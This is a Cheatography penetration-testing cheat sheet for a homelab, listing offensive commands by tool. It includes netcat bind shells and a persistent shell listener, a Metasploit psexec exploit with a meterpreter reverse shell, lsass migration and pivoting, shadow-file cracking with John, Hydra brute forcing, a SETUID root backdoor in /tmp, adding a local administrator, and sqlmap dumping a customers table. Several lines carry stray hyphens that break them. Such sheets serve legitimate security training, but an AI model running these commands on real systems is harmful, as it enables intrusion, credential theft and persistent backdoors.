Cheatography

Cybersecurity Homelab Cheat Sheet

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Nmap

nmap -A <target> --reason -o <file>	
nmap -p port(s) target --reason	
nmap -sV -p port(s) target --reason	
nmap -p <port> --script http-enum <target>	
scripts:	http-enum, http-title, smb-os-discovery, smb-brute

Netcat

nc -lnvp 7777	create listener
nc -nv <IP> <Port>	connect
nc -l nvp Port -e /bin/sh	
nc -lnvp Port -e cmd.exe	
while [1]; do echo "Started"; nc -lnp [port] -e /bin/sh; done	set up persistent listener

Wmic

Wmic process list brief
Wmic process where name="<process.exe>" list full
Wmic process where processid="<PID>" list full
Wmic process where processid="<PID>" get name,commandline,processid,parentprocessid
Wmic process where name="<process.exe>" get name,commandline,processid,parentprocessid
Wmic startup

Regedit and Startup

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\	Run, Runonce, RunonceEx
sc query | more	Windows services
Tasklist /svc	shows Process, PID, services
Taskschd.msc	task scheduler GUI
schtasks | more	CLI show scheduled tasks
schtasks /delete /tn <taskname>	Delete a scheduled task
Lusrmgr.msc	local users and groups GUI
secpol.msc	local security policy GUI
	check local policies, audit policy, audit logon events
reg query <HKEY...> shows whats in the registry key	

DNS

nslookup	from Windows
server <IP>	
ls -d target.tgt	
dig @<IP> target.tgt -t AXFR	from Unix
attempt a zone transfer from a Windows System	

Metasploit

search keyword type:exploit	
use exploit/windows/smb/psexec	
set SMBUser <admin_user>	
set SMBPass <admin_pass>	
set SMBDomain <windows domain>	
set PAYLOAD windows/meterpreter/reverse_tcp	
set LHOST	
set RHOST <target>	

Meterpreter

migrate -N lsass.exe	
shell	background
route add <targetIP> <subnetMask> 1	pivot through session 1 when targeting <targetIP>

John The Ripper

unshadow /etc/passwd /etc/shadow > /tmp/combined
john /tmp/combined
john <hashfile> (LANMAN Hash)
john --format=NT <hashfile> (NT Hash)
Delete john.pot when you want to restart a cracking session. otherwise, it starts where it left off

Hydra

hydra -l <username> -p <password> ssh://-<targetIP>
hydra -l <username> -P <passwordList.txt> ssh://<targetIP>
hydra -L <usernameList.txt -p <password> ssh://<targetIP>
SSH, SMB, FTP

SETUID shells

find / -uid 0 -type f -perm -4000 2>/-dev/null	find files starting at root directory, owned by root, are a file type (not directory), and have SETUID bit set. send errors to /dev/null.
cp /bin/sh /tmp/backdoor	
sudo chown root:root /tmp/backdoor	
sudo chmod 4755 /tmp/backdoor	
/tmp/backdoor -p	

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Windows Net, SMBclient, SSH

net user /add <username> <password>	
net localgroup administrators /add <username>	
net user username /delete	
net use * \\target\C$ password /u:targetIP-\username	
net use * /d /y	
smbclient -U username -L server -m SMB3	
smbclient -U username //server/C$ -m SMB3	
smbclient -U DOM\\username //server/C$ -m SMB3	
ssh username@hostname	
scp username@hostname:/path/to/file ./	copy to local host
scp file file username@-hostname:	copy file to remote host

Alternate Data Streams

dir /r	show ADS in CMD
Get-Item -Path -*Stream*	show ADS in Powershell
lads C:\ /S	search for ADS streams using LADS
lads C:\ /S | findstr /V "-Error 1921"	filter out LADS errors
more < file:streamName	get ADS content in CMD
Get-Content -Path filepath -Stream streamName	get ADS content in Powershell

wget and curl

wget <URL/filename.txt>	download a file locally
wget -qO- <URL/filename.txt>	download and display file contents
curl -iI <URL/filename.txt>	display server header response
curl -O filename.txt <URL/filename.txt>	download a file locally
curl --silent -b "-cookiename=cookievalue" <URL/filename.txt>	download and display file, suppressing progress, with specified cookie

SQLi

sqlmap -u 'URL/page-&param=1?param=2'	always start with valid URL, in quotes
sqlmap -u 'http://www[…]=1?param=2' --dbs	enumerate databases
sqlmap -u 'http://www[…]=1?param=2' -D dbname --tables	enum tables in selected database dname
sqlmap -u 'http://www[…]=1?param=2' -D dbname -T customers --dump	retrieve all rows in the customers dbname.customers table